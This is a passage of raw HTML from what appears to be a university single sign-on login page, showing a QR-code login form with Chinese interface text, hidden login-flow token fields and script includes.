U54RTBrNXFrdkZ0M3lJZ0lCMURoQng4N21hcU5lNXg5c2JoNnJMcVRpZVJHTGI2YW5yVHVWcm5MSW0vWjJ6Ryt6UWw1Z2hHRTdEaUY5eGIzeDVOck55WUs1UlJDbVh3dlp3U2xjQi94dSswTWJmUU9CaFlMRmdtbUo0QzNSbXRZdnIvVy9GRVlSN0puUGRkZTd5SVJZSDlVeDZCL01RS2UvcnJQY1BkcUNKa2hUZ0E4Y2kvSUpkMCtkYVZoWDJtcjB5OWZPQVR2MnRtLzBoSHFKMUNpMEtmK3ZrUy90YWE1MXBoZ3hWWWRiSFd3Q0FhWWdnbk1tU0pjTnJQZXhUeTBsS2NSN0RmMWhrTy9TV0YwU2J2dVVyWXdReXlLM1BBdkFwSEE5MDRab0dkbU5JYkx3ZDQwbzJKWVh2Z0hUeWFzd214d2M4Ri9tOEh2UTVCQWt3bnBlbzdla1NxclFpdjBGeG1iRDQrVENIN2RucGpZb1ltb3BVVmc1RThTZzI2dzl2Y3dnUURhME5KR0U1Wk1mQTZiZ1QwK0puMDdDUTJkZWMzS0E2c3FQRkFheE96YU5ocGhQazNKVDZWUnFLRU1PMmZKVVpuNndyK2ZBaTh0Yk5rVmhaQ0FnSkFYdDBjZUpjNHhobkRJbGsvdW1xZW4veXBWMUJqc1FDRUQweGhpdVkxa2VRTzZhNUNBejlMUUNBSVdJeW82OTJkTVhSb2VUNldpd2ZObDdTaWFrc3FoOGhwNlNuT1RCalNMUlQ0U21YQndGMUZsZVVUaHJmOXd5QjhQMDgyOGFNd2RSWDkzd3BPcjlQMmdpYkZudVVvM1NXdWIwNmQybEJSbE0xRTA3eit3eTVwVHFkT1lEVWNYN0t5WFo5M2hmT2MrcHlMRHNiZ1JZVTZRUDRMQVkwM3RxcDRWVUExaVlBdnUrTmk1VmFBRGhkdnBvQU9wK1VUTkk1eDJ5TkxHWjRtQ3prRVg4d2lwRThRYWV1YUVRVnlCb2tqd3pLL1VjbC92ZSthU3BlVXYxWVlJMXRiYzc1dXpYNU1hVTE4TDdybm5iTHg4VU1KaFF1cVJzVmZmOUg4V1BtSEd2Q291VUtoVXV6cmlDYXBNZTdUVUp1aXF5MEZaa3p5eVpZV2VyMTJXVHJiTFRCQWsybmpVWDRIT0ttVFp2UHc5dFlJbmc1Q3lFeUdCNExsMDI2M0p0Mnd6Q1dwTWdtaW5aS1o1b2JSL1M4OUlOQmNad2RuWWZNMkdqQkVqYWtoZDhYR3FMZUFQWngydFpLTmdiR2Z0ak9ub2M4N3FkbVBHK290dzdzOWgwakNBTDhCczZ6TXVPc21jMUgzbUxKbmdvZk82b0thUkxMMVI2MzYrTlJxN1k0VlBjVWMvT3NnZnZHNE5KdDRyL2QreTVWNm9lMElWUEh2N0k0WmRFTVZ6RmZzeWFTRllRWmYvMEM1QzdUazdNQjFtbUhSRHpHT1M5WTRnMjJzRWxNSUttaE1abHh6bWhMMGtnazYxMnpCZm9xMTNvMTM5bU4reDVNT3p4c0JpNHJCZG9Fb1BDTU5yRDByTnpMZjUyL2drczhyUXN0c2JFek96czhFNDRiTUNaclN0SEc2MWI3ZnZZLytmMWU1NnRUWVI0eENvQjhnVWM2UkVsZzF5VWFiMU44UEdWZldTVGtUSmtScE9UdkRkVkJIK0liWEFpUlpTOU5iYTNSZC9tY3p1RmFTVHg2a2VtQ0tybkpFWmplNFgveUFxUlJGdlYyR2RndldSMmhEbTF5Mks2K1hTTXhuM21PSnN4Zk1LNXpHY09HN1gvZmF2Z2RHUC9lR1BIUkJTOFNwTU10WEJRcUtsYkVxQ1dLREdHQVp0UmlTQ3FnZFY1dFI1OUh2U2V2WVlTS1JHQTFPdmZJdERBSGd2RXFUL01QMXRQN1h4SzcwaWZUSVg1dVliMWEzRUJWSmNxWkVnZ2lycjN4MzhFTzNJVW9HQVl0MnZsV1kwRkFGaFZqbjNSUHQrdG1OSWlYYTUxZmpNbVhLdUZhZXV1M3owL2xUR3BxVy9McTNFeDYrKzJXUW9JbWkwTE1jSHdJUFVHWWNraXowcmVYVjRVMzVpM2JpQWFZdUdJM1BvakROcmxES3VZVUYvWUdCUkhCTjBxOHFHQUEyQ0VpUHhtQ2tpdWdlaXNUcjZsUGpUQlp4dHdIM1FkK0VxT1hYVWcvclgvOXpYVVlJdUttT214NS90RVNnUG0yTGdSZnF5NkxiY0p6dFZDQUo5WGpWNmg3akV3d3ZjWCtwS0c2QnFkWmFlNHg2MXZNTFZheWs5WnNDbDk4dXBpYUNSWnBZcytubEZ2THJyUkhNRE9BZXlGQit6N0NpcXdUUCthVlZwTzJqWnc5K1B0eHZyN3NMam04MERwWFRrajRtMVJ5SXptTk15RDV1MlhzS1p6aGV4MUdHZGtFbGQrT2NXSzY0VWQ0Ym9hQ3Z4azRhanh0cEd4QS9RMUR3MzdVa3JRdW9NcEZXUFFRSWxFSEYrYS9ERFZFZWJEVE5CTmg4YWlUajQ1RXpYaTNmVmhVUTFsb01LWDJFQ1FUNjN1MVRZcXpFQlhUUXpvYysxeWIwb1ZPcURIOTdpS1NNeUxTSlZVdmk2UW9zQlM4eDF4SmdFSjBFN25reklGNzZ4Yjhpc2JhajZVZFNuQS9UanZML0Vlc2hmaWMzcy84R0tEdnJOa09FTVBIL2ZFRy9yMlhoZlJySk1CbmtkZU03SDZIeW1OV3crandXazIwTW8yalhFSFhIaVh5K1BuQ3Z6aWg1ODc4RGY0cXBiRWlLdXpzYTE1TTZraE9Na2ptYTUvajNLWm55VzdWb2tFNlowWEJRTVlOc0FjOXdUMzRjMWhzYlhUYk0vQkRCcllpUVJDSWhIMXcyZmFGclpsbVN3cUVraVVnaHJYUHVJMjNVZkRYODhzaTlUOHBnZHlFQkk0Yk1pWUZwa0p5eitseVJYRW1SNnhwNXV1TVVLdmxWWGFFekVDaXZmbFV0aEtvOFdQcVg4Y09jdk1vdE84REcyS3BHRkdpbzVxSVJlOGxFeG1tL1NYcXlXc2hmclF1N0d6NXlyTXRoTE9WU1UvSG1pU2E0Qys2bm9VaG1jdVJ3a01vN3JPN3B3ck5GT0h0SjlFcDV0SDhJQmtVSWNUZ0x6YlU2L3U1Nkw2eG03czFYTXhWZSt2QUkxVmFuUU5UbkkzbWZPSlVRMTV4eFoxU1JSdkVVM05Xc3UwMHppYWtCbDcvRFZzUTNKSXIyaUxuOURCT3YydHRPYVJCcHllQ2U5VjZVZ1QwdUNLQjBCQzg3b1Fjb1NPM0FNb3dGTExHWk1xWUFrdXJIZjY1em1MZFFEekwxUi9CWjM3bzhKTmtIQkl3ZUV0QWwzMkhDbCtJUXJsSXROSFdZMklCbU9KaG91YnFxUHR3bWFvRUZsSUFCR28vaGJmZE5CYWpzb3JLYUR2aklyQzFyZklpNjRiSzVPNVVySFp2cklUOS9xUVFCc0JuNVpVbXoxeGloVnNhOVk3SWtsTVhTSTdvNm16TS9UVHM4b1kvL1hPYmVUSmtXS29IZ0R5emRrdXNDcWM3T2xWd01iaFI1bTlNRm5pWTdlMi8xbFZFeWNxWmVyVko0bXpkTnh1Mzl5eERXUHREYWtqVGNJUkFtV3BZcnpsNXZoMVNSdk8wcUZndUh2L08xZmNOZkpMNWN6TGNiN2hmZDZyQ1E5Y3JaQk1vYzVjSEp2WWR4K1UzbXd0TGM3Rm4wVEYxOXJNR3ZZanFoK3RsTGVHM3NrOTVwME40NWd3WkplYkpZTUErMG53L1o1b2h4QjhWcDRTNHBENDdpNnBVQUw0KzRtTFJDUzlMdUVLYlJZTjc4T2RKVzd4NVpYcTJyMERvQXFmNGxIWC96TlFTT1lqc2pYaUtEZEN5enhvbU5JOGtuTHRXOTVwUUNtVVk4dlYycXVXVThjck5XWnJjTk1pajF6YS9od0owQ0tuNlZISXNUMnB3WXl0Q0RPWW53MDJHS2dRL1hJN1RQekZvN2hBbzlVUHVjWHJBQXNHUWJYRWRpbU5xcE15L2FUeGY3Tk5BMmdQQTVrVVNoZjI0eWZhdEJsZG5OTlExa2NlbytMd2JvTWZzd0JkR3ZwaXhsa1IzYzJIRUdmMjh0TmhKNVdDRVRqWVNCOWJaaHRVTnZ4Zkd3NDVOZDdXdWZUY2Z3WlFva1hQNDVQWFJaWXd1OTU4RS90QTAwQmE0WkdPR1FrQ2dhQmxSOVpTNUVGYmN3T2RjZ0RaazB2a1JuMG1RNHloNHJnQmFNYWVQSHpjMm5rUENkTVQrNFplekJEYTlWRlVON3lOOC9jWGZqc0lvNThRUDBxZ3QvM1JRd3V6OEtnZzRoMUx2RytWQ0ZFcitLR0JOWGFxWFZBL1Y3TC9UTHp6SXdlRHpjeXBjc3d5K1hXY2pNa2trb2Jmb3BVV1hIZDlEZFdEL1l2c1hZeGdoamNudTQ3M1A4aTl5NFIybC9mQnM3M213QmwwZGQ4dDY1bzNodVJHR2RsS3NKeTBMRlc3WWVGemQyakRJanB2Mzh6TU1TZkNEUXZaaGVqTDBuYzJGcmJldUZod0RHRXNuNTdPdHdsKzdMREJuR3RVSm5YT0Njb0VyblBjcE5udGhpZkRXSXh3VE1ydDhOc3I0Q0JXbXNjSndjRWVzSmlrMlpMbGFUWHJISHVZRkdES1Y2Um9IdTV4OVFrUDRydXBCQVdNd2dpcW80WnorQlkyenh3bEt2TVFmZ0Uzd0hTeXBxVUVxSVhodks2RWw1VzMxTjBPNW1TcjdWNzRxbTJzMzNxRWg3cG1TUzZQK2VkakdUUzRuRFRjY3ZneGE5NmN0VEd6TlZEV2EwMVF1OEdDTzJZcWZRbis3T3c9PS5yem1yNHViZklZOGdjMjVfb1RHT1h5VF9xMktsamwxQWx2dUxKQWp5dFJyMUJPaTZmSlNEUU1RNzdwcmdIMW9uRmY2MmtVNGc0VlpyVGlnRC1DMURxdw==" /></form>
	</div>
</div>
<!-- 嵌入二维码登录 --><div id="qrLoginDiv" style="display: none">
    <div>
<script type="text/javascript" src="/authserver/xjauThemenew/static/custom/js/qrcode.js?v=20250411.074631"></script>
<div class="qr_scan_box">
    <form method="post" id="qrLoginForm" action="/authserver/login" role="form">
        <div id="qr_code">
             <div class="qr_scan_code"><img id="qr_img" src=""/></div>
             <span class="title lang_text_ellipsis">手机扫码  安全登录</span>
        </div>

        <div id="qr_success" class="qr_success" style="display: none">
            <div class="qr_scan_success">
                <img src="/authserver/xjauThemenew/static/custom/images/success_qr.png"/><div class="qr_success_tips_div">
                    <span class="qr_success_tips">扫描成功</span>
                    <span class="sub_title lang_text_ellipsis qr_success_sub_title">请在手机上「确认登录」</span>
                </div>
            </div>
            <div class="scan_footer lang_text_ellipsis qr_success_back"><a class="scan_a" href="javascript:refresh();">返回二维码</a></div>
        </div>

        <div id="qr_invalid" style="display: none">
            <div class="qr_scan_code">
                <img id="invalid_img" src=""/><div class="qr_scan_Invalid">
                    <img id="qr_refresh" src="/authserver/xjauThemenew/static/custom/images/refresh.png" onclick="refresh()"/></div>
            </div>
            <span class="title lang_text_ellipsis">手机扫码  安全登录</span>
        </div>

        <input type="hidden" name="lt" id="lt" value="" /><input type="hidden" name="uuid" id="uuid" value=""/><input type="hidden" name="cllt" value="qrLogin"/><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" name="execution" value="871471a8-666a-4dee-adf6-680f954214b1_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90Z1Y3Y2xkYlhqSHo3cGxBc1J6VWdvWkEzeFU2ZEV2c3YxRktWL0pINDhUQjgzRVZtT3lrY2FVdUV5NGQ2S1o1WjBhTWU1K1o1U0tldmN3Z3p6dWdSRlNFbWhzKzZCb0FtalpmWHZYV05Tc2lNdTRUUElObUFDQmp1ekg4RzI2a3F3dXpxbDlHN3NqbThmV25uMjJnSFM4eGJtWWRmb0hQVisvMnE2WUx2QUhWRksxNElJZExSWEIzQjdwM0kvM01ESUNXK3BYd0srajRhbFRLL0FmRk1JNnNpVlVlVGdrL2t2L1EwUExLZU05ak1VMS8wWEU3WnRlZFhRWk5GWHhYUFFBa0tuM1dpR1VHaTIwQmw1eEtJUTR4UkFpOTR1VGlsb2FDcmlHVUFiOG9iWXVFYkJwQnAza29rVENUeG5QWXdFeTVGMTBvRGJiWDUrSVFSUzljcG5uWlZoWGs3d21qZWE0RDMwR3pHcWFwd3o3dDVuZEYvOTh6RWNBbFFkSDV1YkZaQjFORjhsb0JMQ0hoVnd3UGRPNUZhaU54RTBrNXFrdkZ0M3lJZ0lCMURoQng4N21hcU5lNXg5c2JoNnJMcVRpZVJHTGI2YW5yVHVWcm5MSW0vWjJ6Ryt6UWw1Z2hHRTdEaUY5eGIzeDVOck55WUs1UlJDbVh3dlp3U2xjQi94dSswTWJmUU9CaFlMRmdtbUo0QzNSbXRZdnIvVy9GRVlSN0puUGRkZTd5SVJZSDlVeDZCL01RS2UvcnJQY1BkcUNKa2hUZ0E4Y2kvSUpkMCtkYVZoWDJtcjB5OWZPQVR2MnRtLzBoSHFKMUNpMEtmK3ZrUy90YWE1MXBoZ3hWWWRiSFd3Q0FhWWdnbk1tU0pjTnJQZXhUeTBsS2NSN0RmMWhrTy9TV0YwU2J2dVVyWXdReXlLM1BBdkFwSEE5MDRab0dkbU5JYkx3ZDQwbzJKWVh2Z0hUeWFzd214d2M4Ri9tOEh2UTVCQWt3bnBlbzdla1NxclFpdjBGeG1iRDQrVENIN2RucGpZb1ltb3BVVmc1RThTZzI2dzl2Y3dnUURhME5KR0U1Wk1mQTZiZ1QwK0puMDdDUTJkZWMzS0E2c3FQRkFheE96YU5ocGhQazNKVDZWUnFLRU1PMmZKVVpuNndyK2ZBaTh0Yk5rVmhaQ0FnSkFYdDBjZUpjNHhobkRJbGsvdW1xZW4veXBWMUJqc1FDRUQweGhpdVkxa2VRTzZhNUNBejlMUUNBSVdJeW82OTJkTVhSb2VUNldpd2ZObDdTaWFrc3FoOGhwNlNuT1RCalNMUlQ0U21YQndGMUZsZVVUaHJmOXd5QjhQMDgyOGFNd2RSWDkzd3BPcjlQMmdpYkZudVVvM1NXdWIwNmQybEJSbE0xRTA3eit3eTVwVHFkT1lEVWNYN0t5WFo5M2hmT2MrcHlMRHNiZ1JZVTZRUDRMQVkwM3RxcDRWVUExaVlBdnUrTmk1VmFBRGhkdnBvQU9wK1VUTkk1eDJ5TkxHWjRtQ3prRVg4d2lwRThRYWV1YUVRVnlCb2tqd3pLL1VjbC92ZSthU3BlVXYxWVlJMXRiYzc1dXpYNU1hVTE4TDdybm5iTHg4VU1KaFF1cVJzVmZmOUg4V1BtSEd2Q291VUtoVXV6cmlDYXBNZTdUVUp1aXF5MEZaa3p5eVpZV2VyMTJXVHJiTFRCQWsybmpVWDRIT0ttVFp2UHc5dFlJbmc1Q3lFeUdCNExsMDI2M0p0Mnd6Q1dwTWdtaW5aS1o1b2JSL1M4OUlOQmNad2RuWWZNMkdqQkVqYWtoZDhYR3FMZUFQWngydFpLTmdiR2Z0ak9ub2M4N3FkbVBHK290dzdzOWgwakNBTDhCczZ6TXVPc21jMUgzbUxKbmdvZk82b0thUkxMMVI2MzYrTlJxN1k0VlBjVWMvT3NnZnZHNE5KdDRyL2QreTVWNm9lMElWUEh2N0k0WmRFTVZ6RmZzeWFTRllRWmYvMEM1QzdUazdNQjFtbUhSRHpHT1M5WTRnMjJzRWxNSUttaE1abHh6bWhMMGtnazYxMnpCZm9xMTNvMTM5bU4reDVNT3p4c0JpNHJCZG9Fb1BDTU5yRDByTnpMZjUyL2drczhyUXN0c2JFek96czhFNDRiTUNaclN0SEc2MWI3ZnZZLytmMWU1NnRUWVI0eENvQjhnVWM2UkVsZzF5VWFiMU44UEdWZldTVGtUSmtScE9UdkRkVkJIK0liWEFpUlpTOU5iYTNSZC9tY3p1RmFTVHg2a2VtQ0tybkpFWmplNFgveUFxUlJGdlYyR2RndldSMmhEbTF5Mks2K1hTTXhuM21PSnN4Zk1LNXpHY09HN1gvZmF2Z2RHUC9lR1BIUkJTOFNwTU10WEJRcUtsYkVxQ1dLREdHQVp0UmlTQ3FnZFY1dFI1OUh2U2V2WVlTS1JHQTFPdmZJdERBSGd2RXFUL01QMXRQN1h4SzcwaWZUSVg1dVliMWEzRUJWSmNxWkVnZ2lycjN4MzhFTzNJVW9HQVl0MnZsV1kwRkFGaFZqbjNSUHQrdG1OSWlYYTUxZmpNbVhLdUZhZXV1M3owL2xUR3BxVy9McTNFeDYrKzJXUW9JbWkwTE1jSHdJUFVHWWNraXowcmVYVjRVMzVpM2JpQWFZdUdJM1BvakROcmxES3VZVUYvWUdCUkhCTjBxOHFHQUEyQ0VpUHhtQ2tpdWdlaXNUcjZsUGpUQlp4dHdIM1FkK0VxT1hYVWcvclgvOXpYVVlJdUttT214NS90RVNnUG0yTGdSZnF5NkxiY0p6dFZDQUo5WGpWNmg3akV3d3ZjWCtwS0c2QnFkWmFlNHg2MXZNTFZheWs5WnNDbDk4dXBpYUNSWnBZcytubEZ2THJyUkhNRE9BZXlGQit6N0NpcXdUUCthVlZwTzJqWnc5K1B0eHZyN3NMam04MERwWFRrajRtMVJ5SXptTk15RDV1MlhzS1p6aGV4MUdHZGtFbGQrT2NXSzY0VWQ0Ym9hQ3Z4azRhanh0cEd4QS9RMUR3MzdVa3JRdW9NcEZXUFFRSWxFSEYrYS9ERFZFZWJEVE5CTmg4YWlUajQ1RXpYaTNmVmhVUTFsb01LWDJFQ1FUNjN1MVRZcXpFQlhUUXpvYysxeWIwb1ZPcURIOTdpS1NNeUxTSlZVdmk2UW9zQlM4eDF4SmdFSjBFN25reklGNzZ4Yjhpc2JhajZVZFNuQS9UanZML0Vlc2hmaWMzcy84R0tEdnJOa09FTVBIL2ZFRy9yMlhoZlJySk1CbmtkZU03SDZIeW1OV3crandXazIwTW8yalhFSFhIaVh5K1BuQ3Z6aWg1ODc4RGY0cXBiRWlLdXpzYTE1TTZraE9Na2ptYTUvajNLWm55VzdWb2tFNlowWEJRTVlOc0FjOXdUMzRjMWhzYlhUYk0vQkRCcllpUVJDSWhIMXcyZmFGclpsbVN3cUVraVVnaHJYUHVJMjNVZkRYODhzaTlUOHBnZHlFQkk0Yk1pWUZwa0p5eitseVJYRW1SNnhwNXV1TVVLdmxWWGFFekVDaXZmbFV0aEtvOFdQcVg4Y09jdk1vdE84REcyS3BHRkdpbzVxSVJlOGxFeG1tL1NYcXlXc2hmclF1N0d6NXlyTXRoTE9WU1UvSG1pU2E0Qys2bm9VaG1jdVJ3a01vN3JPN3B3ck5GT0h0SjlFcDV0SDhJQmtVSWNUZ0x6YlU2L3U1Nkw2eG03czFYTXhWZSt2QUkxVmFuUU5UbkkzbWZPSlVRMTV4eFoxU1JSdkVVM05Xc3UwMHppYWtCbDcvRFZzUTNKSXIyaUxuOURCT3YydHRPYVJCcHllQ2U5VjZVZ1QwdUNLQjBCQzg3b1Fjb1NPM0FNb3dGTExHWk1xWUFrdXJIZjY1em1MZFFEekwxUi9CWjM3bzhKTmtIQkl3ZUV0QWwzMkhDbCtJUXJsSXROSFdZMklCbU9KaG91YnFxUHR3bWFvRUZsSUFCR28vaGJmZE5CYWpzb3JLYUR2aklyQzFyZklpNjRiSzVPNVVySFp2cklUOS9xUVFCc0JuNVpVbXoxeGloVnNhOVk3SWtsTVhTSTdvNm16TS9UVHM4b1kvL1hPYmVUSmtXS29IZ0R5emRrdXNDcWM3T2xWd01iaFI1bTlNRm5pWTdlMi8xbFZFeWNxWmVyVko0bXpkTnh1Mzl5eERXUHREYWtqVGNJUkFtV3BZcnpsNXZoMVNSdk8wcUZndUh2L08xZmNOZkpMNWN6TGNiN2hmZDZyQ1E5Y3JaQk1vYzVjSEp2WWR4K1UzbXd0TGM3Rm4wVEYxOXJNR3ZZanFoK3RsTGVHM3NrOTVwME40NWd3WkplYkpZTUErMG53L1o1b2h4QjhWcDRTNHBENDdpNnBVQUw0KzRtTFJDUzlMdUVLYlJZTjc4T2RKVzd4NVpYcTJyMERvQXFmNGxIWC96TlFTT1lqc2pYaUtEZEN5enhvbU5JOGtuTHRXOTVwUUNtVVk4dlYycXVXVThjck5XWnJjTk1pajF6YS9od0owQ0tuNlZISXNUMnB3WXl0Q0RPWW53MDJHS2dRL1hJN1RQekZvN2hBbzlVUHVjWHJBQXNHUWJYRWRpbU5xcE15L2FUeGY3Tk5BMmdQQTVrVVNoZjI0eWZhdEJsZG5OTlExa2NlbytMd2JvTWZzd0JkR3ZwaXhsa1IzYzJIRUdmMjh0TmhKNVdDRVRqWVNCOWJaaHRVTnZ4Zkd3NDVOZDdXdWZUY2Z3WlFva1hQNDVQWFJaWXd1OTU4RS90QTAwQmE0WkdPR1FrQ2dhQmxSOVpTNUVGYmN3T2RjZ0RaazB2a1JuMG1RNHloNHJnQmFNYWVQSHpjMm5rUENkTVQrNFplekJEYTlWRlVON3lOOC9jWGZqc0lvNThRUDBxZ3QvM1JRd3V6OEtnZzRoMUx2RytWQ0ZFcitLR0JOWGFxWFZBL1Y3TC9UTHp6SXdlRHpjeXBjc3d5K1hXY2pNa2trb2Jmb3BVV1hIZDlEZFdEL1l2c1hZeGdoamNudTQ3M1A4aTl5NFIybC9mQnM3M213QmwwZGQ4dDY1bzNodVJHR2RsS3NKeTBMRlc3WWVGemQyakRJanB2Mzh6TU1TZkNEUXZaaGVqTDBuYzJGcmJldUZod0RHRXNuNTdPdHdsKzdMREJuR3RVSm5YT0Njb0VyblBjcE5udGhpZkRXSXh3VE1ydDhOc3I0Q0JXbXNjSndjRWVzSmlrMlpMbGFUWHJISHVZRkdES1Y2Um9IdTV4OVFrUDRydXBCQVdNd2dpcW80WnorQlkyenh3bEt2TVFmZ0Uzd0hTeXBxVUVxSVhodks2RWw1VzMxTjBPNW1TcjdWNzRxbTJzMzNxRWg3cG1TUzZQK2VkakdUUzRuRFRjY3ZneGE5NmN0VEd6TlZEV2EwMVF1OEdDTzJZcWZRbis3T3c9PS5yem1yNHViZklZOGdjMjVfb1RHT1h5VF9xMktsamwxQWx2dUxKQWp5dFJyMUJPaTZmSlNEUU1RNzdwcmdIMW9uRmY2MmtVNGc0VlpyVGlnRC1DMURxdw=="/><input type="hidden" name="_eventId" value="submit"/><input type="hidden" name="rmShown" value="1"></form>
</div>
</div>
</div>
</body>
<script src="/authserver/xjauThemenew/static/custom/js/login-language.js?v=20250411.074631" type="text/javascript"></script>
</html>
